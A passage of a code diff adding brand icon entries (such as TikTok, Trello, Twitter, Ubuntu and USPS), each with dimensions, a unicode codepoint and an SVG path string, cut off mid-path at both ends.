11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z"], + "themeco": [448, 512, [], "f5c6", "M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z"], + "themeisle": [512, 512, [], "f2b2", "M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z"], + "think-peaks": [576, 512, [], "f731", "M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z"], + "tiktok": [448, 512, [], "e07b", "M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z"], + "trade-federation": [496, 512, [], "f513", "M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z"], + "trello": [448, 512, [], "f181", "M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z"], + "tumblr": [320, 512, [], "f173", "M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z"], + "tumblr-square": [448, 512, [], "f174", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z"], + "twitch": [512, 512, [], "f1e8", "M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z"], + "twitter": [512, 512, [], "f099", "M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"], + "twitter-square": [448, 512, [], "f081", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z"], + "typo3": [448, 512, [], "f42b", "M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z"], + "uber": [448, 512, [], "f402", "M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z"], + "ubuntu": [496, 512, [], "f7df", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z"], + "uikit": [448, 512, [], "f403", "M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z"], + "umbraco": [510, 512, [], "f8e8", "M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z"], + "uncharted": [448, 512, [], "e084", "M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z"], + "uniregistry": [384, 512, [], "f404", "M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z"], + "unity": [576, 512, [], "e049", "M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z"], + "unsplash": [448, 512, [], "e07c", "M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z"], + "untappd": [640, 512, [], "f405", "M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z"], + "ups": [384, 512, [], "f7e0", "M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z"], + "usb": [640, 512, [], "f287", "M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z"], + "usps": [576, 512, [], "f7e1", "M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z"], + "ussunnah": [512, 512, [], "f407", "M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 